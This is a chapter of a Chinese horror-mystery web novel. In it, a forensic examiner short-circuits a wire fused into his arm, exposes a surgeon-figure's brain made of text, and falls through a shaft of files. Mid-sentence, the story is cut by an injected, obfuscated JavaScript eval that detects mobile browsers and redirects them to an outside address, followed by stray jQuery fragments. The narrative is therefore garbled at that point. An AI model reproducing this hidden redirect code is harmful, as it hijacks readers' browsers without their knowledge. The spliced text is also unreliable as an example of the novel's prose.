第549章-缝合的逻辑断层

作品:《阴阳剥皮人

    那股拉扯感不仅仅是物理层面上的牵引,更像是一种直接作用于神经末梢的入侵。


    沈默能清晰地感觉到,每一次听筒里传出的“嘎吱”摩擦声,都会引发左臂伤口深处的一阵痉挛。


    他低头看了一眼左臂。


    那根没入皮肉的黑色电话线周围,血管网已经暴突而起,呈现出一种坏死的紫黑色。


    那颜色正顺着静脉向肩膀迅速蔓延,像是有无数只肉眼看不见的微型蚂蚁正顺着那根线,疯狂地向他的大脑中枢搬运着某种名为“疯狂”的信息素。


    不能硬拔。


    这种深度的生物融合,强行拔除只会带出整条尺神经,甚至引发大动脉破裂。


    沈默的呼吸没有任何紊乱,他的肾上腺素在飙升,但大脑却像被冰水浇过一样清醒。


    他的右手迅速探向腰间的勘查工具包,没有任何多余的摸索动作,食指勾住一把弯头止血钳的指环,拇指顶开卡扣。


    “阻断。”


    他在心里默念着这个词。


    在法医学中,当无法移除异物时,首选方案是阻断其对机体的进一步侵害。


    沈默的动作快得像是一道残影,止血钳精准地探入伤口边缘,在那根黑色胶皮线即将没入深层肌肉的临界点上,狠狠夹了下去。


    咔哒。


    金属咬合的脆响。


    止血钳的齿槽死死咬住了电话线,强大的咬合力强行挤压了线缆的横截面,物理性地截断了那种伴随着声波传导进来的、针对神经系统的异常脉冲。


    那种心脏都要被扯出来的同步率瞬间降低了。


    “他在缝时间。”


    苏晚萤的声音从侧后方传来,带着一丝因极度恶心而产生的颤抖。


    她正蹲在实验室阴暗的角落里,脚边翻倒着一个福尔马林标本罐。


    罐子碎了,里面的防腐液流了一地,浸泡着一卷湿漉漉的、灰白色的线团。


    她没有戴手套,而是用袖口垫着手指,捻起了一根线头。


    那触感并不是羊肠线那种光滑的胶质感,而是一种带着细微毛糙、甚至有些油腻的触感。


    “这不是羊肠线,也不是丝线。”苏晚萤抬起头,脸色苍白地看向沈默,“这是经过鞣制脱水处理的人体真皮组织,切成了极细的丝,然后像搓麻绳一样捻在了一起。这里面……每一根纤维都来自不同的供体。”


    作为经常接触古籍和特殊材质文物的策展人,她的指尖对材质有着超乎常人的敏锐度。


    她闻到了那股深藏在福尔马林味背后的、陈旧的人体油脂味。


    “他在把不同人的‘皮肤’——也就是他们的‘表象’和‘存在证明’,强行缝合在一起。”苏晚萤的视线投向那个背对着他们的男人,“他在拼凑时间断层。”


    似乎是为了印证她的猜测,那个站在镜子前的白大褂男人再次有了动作。


    “个体的时间是杂乱的、无序的噪音。”


    沈正云并没有转身,但他开口了。


    那声音不是从他的喉咙里发出来的。


    沈默敏锐地察觉到,就在沈正云张嘴的瞬间,整个解剖室里所有的金属器皿——不锈钢托盘、手术刀架、甚至那扇厚重的铁门,都发生了极其微弱的高频共振。


    这种共振在空气中挤压出了那个冷漠、低沉的男声。


    “完美的接班人,需要剔除那些名为‘情感’和‘记忆’的冗余数据。沈默,你不该抗拒。只要把你的逻辑链接入我的闭环,你就能看到真正的真理。”


    那持针钳再次穿过脖颈的皮肉,发出令人牙酸的摩擦声。


    沈默没有理会那些宏大的说辞,他的目光像一把解剖刀,死死地钉在镜子里沈正云的那只右手上。


    那只手正在打结。动作标准、流畅,堪称教科书级别的外科结。


    但是,就在持针钳松开的那一瞬间,沈正云的大鱼际肌出现了一次极其细微的、如果不仔细观察绝对无法发现的抽搐。


    那是震颤。


    那是长期手持重型骨锯和高强度精细解剖后,正中神经受压导致的职业性肌肉劳损。


    沈默的嘴角勾起一抹冰冷的弧度。


    “所谓的‘规则’,居然也会有腕管综合征吗?”


    如果眼前的沈正云只是一个纯粹的“残响”,是某种意志的具象化投影,那他应该是完美的、不知疲倦的。


    但他有损伤。


    有损伤,就意味着他依然保留着人类的生理惯性。


    也就意味着,他依然遵循着物质世界的物理法则!


    “既然是实体,那就好办了。”


    沈默的右手再次探入急救包,这一次,他摸出了一个软塑料瓶——那是用于现场补充体能的高浓度电解质补充液。


    他用牙齿咬开瓶盖,左手握住那把夹在伤口上的止血钳,将其作为固定的支点。


    “你想让我连接?好,我给你加点料。”


    沈默猛地将手中的手术刀反向插入电话线的黑色胶皮。


    刀尖精准地剖开了绝缘层,露出了里面铜色的金属导线。


    下一秒,他将整瓶电解质溶液毫无保留地倾倒在那个裸露的切口和止血钳的连接处。


    高浓度的盐溶液瞬间成为了最优良的导体。


    滋啦——!!


    原本流淌在电话线里的、用于传输“意识信号”的生物电流,在遇到强电解质和金属钳的瞬间,发生了剧烈的短路。


    一道蓝白色的电弧在沈默的左臂和电话线之间炸裂开来。


    与此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102082|182836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同时,整面镶嵌着无数电子锁的冷柜墙壁发出了凄厉的警报声,所有的指示灯瞬间由红转绿,又因过载而炸裂。


    那股顺着线路回溯的狂暴电流,毫无阻碍地冲进了连接源头的核心。


    站在镜子前的沈正云,动作猛地僵住了。


    就像是一台正在进行精密写入操作的硬盘被突然断电。


    他手中那根正在收紧的“人皮缝合线”,因为这突如其来的信号干扰和肌肉僵直,被崩得笔直。


    那一根连接着头颅与躯干的缝合线,断了。


    由于失去了张力的束缚,沈正云那刚刚缝合了一半的额头皮肤猛地向两侧翻卷开来。


    沈默瞳孔剧烈收缩。


    那翻开的皮肉之下,没有白色的颅骨,没有灰白的大脑皮层,甚至没有一滴血。


    在那里面的,是密密麻麻、如同蚁群般蠕动的黑色微型文字。


    那些文字在疯狂地排列组合,构建成神经元,构建成脑沟回。


    那是一个完全由无数份尸检报告、实验数据和冷冰冰的逻辑推演构成的“大脑”。


    “就是现在!”


    趁着那个“逻辑大脑”因短路而陷入混乱的短暂窗口期,沈默顾不上左臂钻心的剧痛,整个人像一枚出膛的炮弹,越过解剖台,狠狠地撞向那面巨大的落地镜。


    那是唯一的出口,也是这个封闭环形逻辑的节点。


    身体撞击镜面的触感沉重而钝涩。


    预想中玻璃破碎的脆响并没有出现。


    在沈默肩膀触碰到镜面的瞬间,那坚硬的反光物体突然崩解了。


    它没有碎成玻璃渣,而是化作了无数黄褐色的、沉甸甸的牛皮纸档案袋。


    哗啦啦——


    原本坚固的实验室空间瞬间失去了支撑,脚下的地面消失了。


    沈默和紧随其后的苏晚萤,瞬间跌入了一个由无数坠落的档案袋构成的垂直甬道中。


    失重感包裹了全身。


    周围全是漫天飞舞的文件,每一份档案上都印着绝密的红色印章。


    在急速的下坠中,一份红头文件像是有生命般拍打在沈默的脸上。


    他下意识地伸手一把抓住了它。


    借着坠落中微弱的光线,他看清了那份文件的标题:


    《沈默:实验终止方案》


    而在标题下方,贴着一张黑白照片。


    照片的背景就是刚才那个地下室。


    年轻时的沈正云穿着白大褂,面无表情地抱着一个婴儿。


    但让沈默感到遍体生寒的是,照片里的那个婴儿,也就是“沈默”自己……


    面部是一片平滑的空白。


    没有五官。


    就像……那些被剥离了感官的复制体一样。